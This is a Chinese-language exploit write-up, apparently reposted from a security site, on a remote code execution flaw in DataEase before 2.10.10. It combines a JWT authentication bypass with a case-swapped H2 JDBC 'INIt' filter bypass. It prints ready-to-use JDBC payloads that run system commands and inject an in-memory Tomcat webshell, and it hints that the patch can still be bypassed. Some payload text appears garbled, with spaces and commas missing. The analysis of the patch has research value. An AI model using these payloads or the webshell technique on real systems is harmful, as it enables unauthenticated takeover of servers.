DataEase 远程代码执行漏洞分析

admin 2025年6月11日00:17:15DataEase 远程代码执行漏洞分析已关闭评论11 views字数 2994阅读9分58秒阅读模式

漏洞描述

DataEase 是一款开源的数据可视化分析工具,旨在帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。

漏洞影响版本: DataEase < 2.10.10

漏洞详情: 在过滤H2 JDBC连接字符串时存在大小写绕过,攻击者可配合JWT鉴权逻辑缺陷,构造特定的JDBC连接字符串执行任意代码,造成前台远程代码执行漏洞。

环境搭建

下载一键安装包:

https://github.com/dataease/dataease/releases/download/v2.10.9/dataease-online-installer-v2.10.9-ce.tar.gz
  1. 解压并执行安装脚本

  2. 修改配置文件

    /opt/dataease2.0/docker-compose.yml

DataEase 远程代码执行漏洞分析

  • JAVA_DEBUG=true

  • 添加端口映射 5005:5005 开启调试模式

重启服务

dectl restart

漏洞分析

https://github.com/dataease/dataease/commit/429f654733716bc0afc44c22effddcbede3c8de5

DataEase 远程代码执行漏洞分析

从这个commit里可以发现修复了两处地方:

JWT鉴权逻辑缺陷

位置:io.dataease.auth.filter.CommunityTokenFilter#doFilter

DataEase 远程代码执行漏洞分析

DataEase 远程代码执行漏洞分析

  1. 从请求头获取JWT: 从 X-DE-TOKEN 获取jwt进行验证

  2. 验证异常处理: 验证异常后设置返回包但没有结束整个流程,会继续进入到 filterChain.doFilter

  3. 绕过条件: 如果单看这里的话实际上只要 X-DE-TOKEN 不为空即可通过权限校验流程

实际测试发现的问题:

第一个原因: 获取jwt的密钥是从jwt解析的uid然后通过uid获取用户密码再md5的值,如果获取的uid值不存在的话会直接异常,不会进入下面的异常,所以还是要一个存在的uid值。

第二个原因: TokenFilter过滤器也验证了 X-DE-TOKEN

位置:io.dataease.auth.filter.TokenFilter#doFilter

DataEase 远程代码执行漏洞分析

DataEase 远程代码执行漏洞分析

DataEase 远程代码执行漏洞分析

  • 仅验证了 X-DE-TOKEN 长度大于100

  • uid值不为空

  • 没有进行密钥验证

综合上述分析需要满足下列条件:

  • uid值需要为存在的值

  • X-DE-TOKEN 长度大于100

  • oid不需要都可以

官方安全公告:

https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34

官方公告这里是填了oid的,其实可以不需要oid,随便写什么让生成的jwt长度大于100即可

H2 JDBC RCE大小写绕过分析

位置:io.dataease.datasource.type.H2#getJdbc

触发点:

  • /de2api/datasource/validate

  • /de2api/datasource/getSchema (POC一模一样)

直接登录后台即可发现这个功能点

DataEase 远程代码执行漏洞分析

DataEase 远程代码执行漏洞分析

不需要审计黑盒都可以测试出来,点击这两个功能即可构造出数据包。

DataEase 远程代码执行漏洞分析

DataEase 远程代码执行漏洞分析

最后会触发getJdbc方法

DataEase 远程代码执行漏洞分析

绕过方法:

将 INIT 改为 INIt 即可绕过过滤

漏洞利用

使用如下JDBC payload即可RCE,不太明白官方POC先去加载sql文件然后加载xml的原因。

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATEALIASEXECAS'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;return "test"\;}'\;CALLEXEC ('touch /tmp/1')

DataEase 远程代码执行漏洞分析

DataEase 远程代码执行漏洞分析

内存马注入

最开始直接使用java-chains生成JDBCPayload发现不行,有两个原因:

1. JDK版本问题DataEase2.10.9 JDK版本为21

DataEase 远程代码执行漏洞分析

2. Tomcat版本问题使用的tomcat版本为10

DataEase 远程代码执行漏洞分析

折腾了一下最后使用如下JDBCPayload即可成功打入内存马(需注意转义问题):

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATEALIASAQWSSSAZAS'String shellexec(String abc) throws java.lang.Exception{byte[] standBytes=null\;String tomcatStr=""\;java.lang.ClassunsafeClass=java.lang.Class.forName("sun.misc.Unsafe")\;java.lang.reflect.FieldunsafeField=unsafeClass.getDeclaredField("theUnsafe")\;unsafeField.setAccessible(true)\;sun.misc.Unsafeunsafe= (sun.misc.UnsafeunsafeField.get(null)\;java.lang.Modulemodule=java.lang.Object.class.getModule()\;java.lang.Classcls=AQWSSSAZ.class\;longoffset=unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField("module"))\;unsafe.getAndSetObject(clsoffsetmodule)\;java.lang.reflect.MethoddefineClass=java.lang.ClassLoader.class.getDeclaredMethod("defineClass"byte[].classjava.lang.Integer.TYPEjava.lang.Integer.TYPE)\;defineClass.setAccessible(true)\;byte[] bytecode=java.util.Base64.getDecoder().decode(tomcatStr)\;java.lang.Classclazz= (java.lang.ClassdefineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode0bytecode.length)\;clazz.newInstance()\;return"test"\;}'\;CALL AQWSSSAZ('123')

tomcatStr使用jmg生成

DataEase 远程代码执行漏洞分析

DataEase 远程代码执行漏洞分析

DataEase 远程代码执行漏洞分析

漏洞补丁

DataEase 远程代码执行漏洞分析

jwt鉴权这里进入异常以后直接return,不会再进入后面的流程。

DataEase 远程代码执行漏洞分析

JDBC连接字符串全部转为大写以后再匹配(幸亏没弄成小写不然又有问题🐶)

DataEase 远程代码执行漏洞分析

实际上这个JDBC的地方还是可以绕过留给读者思考吧。

本文仅供安全研究和学习使用,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月11日00:17:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DataEase 远程代码执行漏洞分析https://cn-sec.com/archives/4153019.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.